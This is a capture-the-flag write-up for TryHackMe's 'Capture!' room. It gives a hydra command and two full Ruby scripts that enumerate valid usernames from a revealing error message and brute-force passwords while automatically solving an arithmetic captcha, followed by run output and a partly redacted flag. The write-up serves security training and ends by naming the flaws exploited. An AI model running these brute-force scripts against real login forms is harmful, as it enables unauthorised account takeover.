Capture! - Write-up - TryHackMe

Information

Room#

  • Name: Capture!
  • Profile: tryhackme.com
  • Difficulty: Easy
  • Description: Can you bypass the login form?

Capture!

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

sudo pacman -S ruby

Brute-force attack#

While trying some dummy credentials, we get the following error:

Error: The user 'admin' does not exist

So we can uncorrelate the identification of the username and the password. To lower the attack complexity we can launch the attack in two steps, one to identify valid usernames thanks to the non-generic error message, and another two try passwords on valid accounts.

However, after too many failed attempts (error Too many bad login attempts!) a captcha is required. Hopefully, the captcha is textual and made of simple calculations, so its solution can be automated easily.

Calculation#

The username file contains 878 entries and the password one 1567 entries.

➜ wc *.txt
 1566  1568 13803 passwords.txt
  877   878  6870 usernames.txt
 2443  2446 20673 total

That would make 1 059 346 attempts in total via correlated brute force with a generic error message. At 55 requests per second, this would take more than 5 hours.

But, for example, if only one user is valid, at maximum we'll have made 878 requests to identify the user, and then will do at max 1567 request to guess the password. Which makes 2445 requests, so at the same rate it would take 44 seconds when being able to test user and password separately.

Identify valid usernames#

The command I would have used to identify valid usernames with hydra if there was no captcha would have been the following:

hydra -L usernames.txt -p 'password' -s 80 -m '/login:username=^USER^&password=^PASS^:F=Error' 10.128.135.145 http-post-form

Here is my ruby script solution to do the same while handling captchas.

#!/usr/bin/env ruby

require 'net/http'
require 'uri'

# Configuration
DEBUG = false
TARGET_HOST = '10.128.135.145'
TARGET_PORT = 80
LOGIN_PATH = '/login'
PASSWORD = 'password'
USERNAMES_FILE = 'usernames.txt'
ERROR_MESSAGES = {
  INVALID_USER: /The user '[a-z]+' does not exist/,
  CAPTCHA_ENABLED: /Captcha enabled/,
  INVALID_CAPTCHA: /Invalid captcha/
}
uri = URI("http://#{TARGET_HOST}:#{TARGET_PORT}#{LOGIN_PATH}")

usernames = File.readlines(USERNAMES_FILE).map(&:chomp)

puts "[*] Start user identification"
puts "[*] Target: #{TARGET_HOST}:#{TARGET_PORT}"
puts "[*] Number of user candidates: #{usernames.count}"
puts

def test_credentials(uri, username, password, captcha_mode, previous_res)
  http = Net::HTTP.new(uri.host, uri.port)
  http.read_timeout = 3

  params = {
    username: username,
    password: password
  }
  if captcha_mode == true
    captcha_value = solve_captcha(previous_res)
    params['captcha'] = captcha_value
  end

  request = Net::HTTP::Post.new(uri.path)
  request.set_form_data(params)

  begin
    response = http.request(request)

    if response.body.match?(ERROR_MESSAGES[:INVALID_USER])
      return response.body
    elsif captcha_mode == false && response.body.match?(ERROR_MESSAGES[:CAPTCHA_ENABLED])
      puts '[+] Captcha detected' if DEBUG
      return :captcha
    elsif captcha_mode == true && response.body.match?(ERROR_MESSAGES[:INVALID_CAPTCHA])
      return response.body
    else
      return true
    end
  rescue => e
    puts "[!] Error: #{e.message}" if DEBUG
    return response.body
  end
end

def solve_captcha(response_body)
  # Extract math challenge (eg: "634 + 61 = ?")
  if response_body.match?(/\d+\s*[+\-*\/]\s*\d+\s*=\s*\?/)
    match = response_body.match(/(\d+)\s*([+\-*\/])\s*(\d+)\s*=\s*\?/)

    num1 = match[1].to_i
    operator = match[2]
    num2 = match[3].to_i

    # Resolve calc
    result = case operator
             when '+' then num1 + num2
             when '-' then num1 - num2
             when '*' then num1 * num2
             when '/' then num1 / num2
             end

    puts "[+] Solved captcha: #{num1} #{operator} #{num2} = #{result}" if DEBUG
    return result.to_s
  else
    puts "[!] Impossible to extract captcha" if DEBUG
    #puts response_body if DEBUG
    return nil
  end
end

captcha_mode = false
previous_res = ''
usernames.each do |username|
  res = test_credentials(uri, username, PASSWORD, captcha_mode, previous_res)
  #puts previous_res if DEBUG
  if res == true
    puts "[+] Success! User found: #{username}"
  elsif res == :captcha
    puts '[+] Captcha mode enabled' if DEBUG
    captcha_mode = true
  else
    previous_res = res
  end
end

Launching it, I identified only one valid user.

➜ ruby find_user.rb
[*] Start user identification
[*] Target: 10.128.135.145:80
[*] Number of user candidates: 878

[+] Success! User found: edited

Password identification#

Then I just had to adjust the script a little to do the same for passwords:

#!/usr/bin/env ruby

require 'net/http'
require 'uri'

# Configuration
DEBUG = false
TARGET_HOST = '10.128.135.145'
TARGET_PORT = 80
LOGIN_PATH = '/login'
PASSWORDS_FILE = 'passwords.txt'
USERNAME = 'edited'
ERROR_MESSAGES = {
  INVALID_USER: /The user '[a-z]+' does not exist/,
  CAPTCHA_ENABLED: /Captcha enabled/,
  INVALID_CAPTCHA: /Invalid captcha/,
  INVALID_PASS: /Invalid password for user '[a-z]+'/
}
uri = URI("http://#{TARGET_HOST}:#{TARGET_PORT}#{LOGIN_PATH}")

passwords = File.readlines(PASSWORDS_FILE).map(&:chomp)

puts "[*] Start user identification"
puts "[*] Target: #{TARGET_HOST}:#{TARGET_PORT}"
puts "[*] Number of password candidates: #{passwords.count}"
puts

def test_credentials(uri, username, password, captcha_mode, previous_res)
  http = Net::HTTP.new(uri.host, uri.port)
  http.read_timeout = 3

  params = {
    username: username,
    password: password
  }
  if captcha_mode == true
    captcha_value = solve_captcha(previous_res)
    params['captcha'] = captcha_value
  end

  request = Net::HTTP::Post.new(uri.path)
  request.set_form_data(params)

  begin
    response = http.request(request)

    if response.body.match?(ERROR_MESSAGES[:INVALID_PASS])
      return response.body
    elsif captcha_mode == false && response.body.match?(ERROR_MESSAGES[:CAPTCHA_ENABLED])
      puts '[+] Captcha detected' if DEBUG
      return :captcha
    elsif captcha_mode == true && response.body.match?(ERROR_MESSAGES[:INVALID_CAPTCHA])
      return response.body
    else
      return true
    end
  rescue => e
    puts "[!] Error: #{e.message}" if DEBUG
    return response.body
  end
end

def solve_captcha(response_body)
  # Extract math challenge (eg: "634 + 61 = ?")
  if response_body.match?(/\d+\s*[+\-*\/]\s*\d+\s*=\s*\?/)
    match = response_body.match(/(\d+)\s*([+\-*\/])\s*(\d+)\s*=\s*\?/)

    num1 = match[1].to_i
    operator = match[2]
    num2 = match[3].to_i

    # Resolve calc
    result = case operator
             when '+' then num1 + num2
             when '-' then num1 - num2
             when '*' then num1 * num2
             when '/' then num1 / num2
             end

    puts "[+] Solved captcha: #{num1} #{operator} #{num2} = #{result}" if DEBUG
    return result.to_s
  else
    puts "[!] Impossible to extract captcha" if DEBUG
    #puts response_body if DEBUG
    return nil
  end
end

captcha_mode = false
previous_res = ''
passwords.each do |password|
  res = test_credentials(uri, USERNAME, password, captcha_mode, previous_res)
  #puts previous_res if DEBUG
  if res == true
    puts "[+] Success! Password found: #{password}"
  elsif res == :captcha
    puts '[+] Captcha mode enabled' if DEBUG
    captcha_mode = true
  else
    previous_res = res
  end
end

Then I just found the password for that user.

➜ ruby find_password.rb
[*] Start user identification
[*] Target: 10.128.135.145:80
[*] Number of password candidates: 1567

[+] Success! Password found: edited

Flag#

Then just login with the retrieved credentials to see the flag on the dashboard:

Flag.txt:
7<edited>6

Vulnerabilities#

  • Non-generic error message on authentication features leading to user oracle
  • Weak captcha / anti-brute force attacks mechanism
Share